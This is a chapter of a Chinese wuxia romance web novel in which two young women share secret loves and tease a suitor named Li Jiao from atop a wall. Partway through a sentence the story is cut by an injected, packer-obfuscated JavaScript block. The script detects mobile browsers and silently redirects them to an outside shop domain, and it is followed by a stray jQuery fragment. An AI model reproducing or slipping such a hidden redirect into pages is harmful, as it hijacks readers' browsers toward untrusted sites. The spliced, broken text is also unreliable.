“好不了了,我这辈子也就这样了。你不要为我伤心难过,我早都看开了,我自己都不抱希望了。”我说得风轻云淡的样子,还不忘安慰一脸愁容哀伤的花铁铁,低头叹了口气道:“唉,我和他呢,连有缘无分都谈不上,又生了误会,我们误会不小,很深很深,他如今恼我怨我憎我恨我……我呢,我也不打算解释了,我这样子,不解释反而好,对吧!?”
初升的朝阳温柔可爱,我却觉得有些刺眼似的,晃得我忍不住眨巴眼。
花铁铁沉默了好一阵儿,和我一起看着远处练武的少年,各自陷入各自的回忆,“……我也跟你说一个秘密吧。”
交换秘密就是承诺对方,会坚决保守秘密的意思!
花铁铁够仗义!
我忽然有些紧张起来,祈祷着是那个我希望听到的秘密……
“我啊,我心里,其实也有人了,好,好多年了……”花铁铁声音忽然哽了哽,仿佛有什么东西突破心口的闸关,一涌而出,她最近似乎养成了吸鼻子的习惯,眼圈动不动总是喜欢泛红,鼻子老是一阵阵儿发酸。
花铁铁她最不喜欢哭的,她十分讨厌这种感觉,努力克制着。见我正转着眼睛思考,轻笑一声,用胳膊拱了拱我,道:“别猜了,你猜不到的……是……杜晦,哈哈,没想到吧,我藏得好吧!?”
我知道,我一直都知道。
听到想要的秘密,我明明松了口气,可却故作惊讶,瞪大了眼睛,一副不可置信的样子,朝花铁铁夸张的点点头,确定自己没听错。
花铁铁很满意我的反应,傲娇地仰着下巴,道:“没错,就是杜晦,麒麟杜晦,武林盟主,杜,晦……瞧,我多会藏啊,我藏得多深啊,你不知道,他也不知道……那个傻子,到死……到死都,都不知道……傻子,大傻子……怎么就给人害成那样子了,其实毁容了也不要紧的,我不在意的……大傻子,做什么非得去死呢……”
花铁铁说着说着,泪水就像断了线的珠子,再也止不住了。可她是坚强的,她只允许自己稍许柔弱。我不会说任何话,去安慰她的,那样只会让她有种被同情的羞耻感。更不会说让她别哭,让她看开之类的毫无作用,甚至起反作用的场面话。她需要纾解。
我张了张嘴,语气有些颤抖:“傻瓜,都是大傻瓜,杜晦是,你也是,我喜欢的人也是。他也都还不知道我其实是喜欢他的。咱俩啊,都太会藏,都藏得太深。只是我是不得已的,若我如你这般长成了,我才不藏着,我一定早和他好上了。”我轻柔地帮花铁铁拭去泪水,语气带着责备,花铁铁听出我的话外音是嫌她有爱不早说,现在什么都迟了。
“你也是傻子,比我傻,你和李家二爷,蛛丝马迹的,我还隐约能猜的出来,可我喜欢杜晦这事儿,我要不说,你怎么也不知道的。”花铁铁向来嘴硬,不允许自己低下高傲的头颅。“你不懂我,你也不懂爱,喜欢一个人就是要藏得好好地,要是两情相悦就是惊喜,要是剃头挑子一头热,就当没喜欢过,要不是你先跟我说了你的秘密,我喜欢杜晦这件事儿我才不漏风,我是要带进棺材的。”
傻瓜,爱怎么可能藏得住呢?我又不是你和杜晦当局者迷,我早就看得出的,所以铁铁,关于杜晦的事儿,很多事儿,我都不能和你说,你这么深爱他,有些事你知道了会受不了的。
你不让我骗你,所以,关于他,我打算一辈子不和你说。对不起,铁铁!不必原谅我!
我对李椒是深深地喜欢,哪里及得上你对杜晦的深深痴爱……不用“秘密”交换秘密,你怎么肯把心中的块垒都说出来呢。
武学最讲究心无旁骛,练功的时候,我就感觉到你胸中郁结,虽不易察觉,但倘若不及早疏散,生根发芽,他日必成隐患,走火入魔,折损修为事小,魂飞魄散,道消身死事大。
我自然对花铁铁一番崇拜仰慕,夸赞她真的很能藏,自愧不如,要多向她学习云云,以此掩盖心中的愧疚和担忧。
忽然一道十分阳刚的内力向我们袭来,花铁铁抬手一挡,内力破散开来,李椒已经飞身到了我们眼前,负手而立,身姿挺拔,玉树临风的样子,帅气十足,他微微抬起俊俏的下巴,仰头看着坐在墙头的我和花铁铁,冷声道:“你们来做什么?”
花铁铁在耳边低声道:“人长得好看就算了,声儿还怪好听的。”挑了挑眉,赞许我眼光不错的样子。
我蹙眉推了推花铁铁,让她别没个正形,怯怯地看了一眼李椒,拉着她赶紧走。
不料花铁铁根本不顾我拦着,态度极为倨傲地对着李椒,反问道:“哼,做什么?!”
花铁铁看在我的面子上,是不会跟李椒硬刚的,缓了缓神色,吊儿郎当的抱臂,居高临下的盯着李椒,随意荡着修长的美腿,道:“听说二爷至今尚未婚配,长安和二爷您也是旧识,正好牵线搭桥儿,让我来相看相看,给二爷您,做老婆呗!”
“你!”李椒气得眉头紧锁,指着花铁铁说不出话来,只黑着脸看了看我,咬了咬后槽牙。
花铁铁很满意李椒的反应,仰头哈哈大笑。
我瞪了一眼花铁铁,暗骂一声,却往花铁铁身后躲了躲,避开李椒的视线,拉着花铁铁,催促着赶紧离开。
花铁铁用胳膊挡在我身前护住我,对李椒道:“二爷莫急,莫急,放心,我没看上。”
李椒心口又是一堵,指着我们的手,握成拳头,打了一记空拳,收回身后,关节发出咯咯的响声,他强装镇定道:“看完了吗?还不快走!”
“哟,还真是有教养的世家子弟,哎长安你听见没,他叫咱们快走,不是叫咱们快滚呢!”花铁铁一副很没见过世面的样子,侧头在我耳边道。
我看了看气得浑身发抖的李椒,很心虚地缩了缩脖子,拉着花铁铁的胳膊,叫她别废话了,那不是个喜欢开玩笑的主儿,呈口舌之快,惹恼了他可不好。软糯糯地细声催促央求道:“走吧,走吧,铁铁,咱们赶紧走吧,再不走,真该叫咱们滚了。”
花铁铁瞪了李椒一眼,嘟囔道:“至于吗,这么气,瞧那凶神恶煞的样子,瞧给我们长安吓得,走!”
说罢,花铁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309874|152330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
铁带着我向后一倒,消失在黎明的曙光里。
看着空空的墙头,李椒心也跟着一下子空了似的,痴痴地看着墙头,久久不肯离去。“还真带着来相看!”李椒轻飘似梦的声音听起来有些苍凉。
须臾,花铁铁又翻身回去,趴在墙头上只露出脑袋,刚好对上李椒失落的目光,抓人家一个现形,花铁铁得意极了,不禁嘻嘻哈哈笑道:“哟还没走啊,二爷,这是……舍不得我吗?”
我在墙外,闻言瞬间汗毛直立,我能想象到墙那边的李椒得气成什么样子,这个花铁铁实在太过分了,花铁铁就是这样,要是我和李椒没什么,她倒规矩得很,也想不着要去戏弄人家李椒。
可是亲口听我说喜欢李椒以后,她便顽皮起来,无论如何都非要招惹一下李椒,她这种行为,跟民间姨子惹姐夫戏妹夫一样的,就是纯属玩笑。
花铁铁方才兴致忽起,非得敛去气息,杀个回马枪。李椒还果然给她“杀”到了。花铁铁这下更加确定了他的心意,日后必定变本加厉的戏耍。
我的天爷啊,花铁铁你可得悠着点儿,作死,别把我搭进去了。
我恼怒地扬起手在她的脚上打了一下。好在花铁铁也是个有数的,撂下话,不等李椒恼羞成怒,便下了墙头,携我一起飞身离开,她得逞了自然心中欢喜,咧着大嘴,呲着牙,也不怕灌了一肚子风。
而那个傻子,后脚随即一跃上了刚才我们坐过的墙头,想追上来,却迟疑了,紧紧握着拳头,就那样气着,恨着,盯着我们远去的身影……
后来好长一段时间,花铁铁总是惋惜感慨,说:长安,你都这样了,他还没放下你,是个有情有义的,要是你没生这种病就好了,李椒倒是个良人。
良人吗?他确实是,可我不配!而且,那算什么情意呢?在他眼里,我都不是个女的……
唉,一团乱麻,我们误会深着呢,不是我懒得和花铁铁说清楚,实在是我也不知道怎么说,我这样子,好多事情说了不如不说,我好生烦恼。呵呵,真是好笑,没有少女的身子,却有少女的烦恼呢!
偏偏花铁铁打破砂锅,我推脱说都是些陈芝麻烂谷子的事儿叫她不要打听。她哪里肯,我被她缠得难受,就简单说了一下我和李椒的事儿,说我们在上郡的情窦初开,说我们在学宫再遇后的误会。
“所以,他现在对我是没有你想的那种心思的,一个正常的大男人怎么会对一个小小年纪就心怀鬼胎,‘男扮女装’欺骗他玩弄他,后来遭了报应长不大的‘残疾男童’有那种感情呢?”我淡淡地道:“他对我只有怨恨,除了怨恨,我想不到还能有什么?”
“你确定他不知道你是姑娘?”花铁铁回想着李椒的神色,对我的话表示质疑,这都能误会?
“切,我算什么姑娘?”我低头冷笑一声,自嘲道。嫌弃得给了她一个李椒确定不知道的眼神,算是回答了她多余一问的问题。
花铁铁一脸我当局者,她旁观者的样子,用过来人的语气,意味深长道:“我瞅着他对你可……不一般……真不一般!”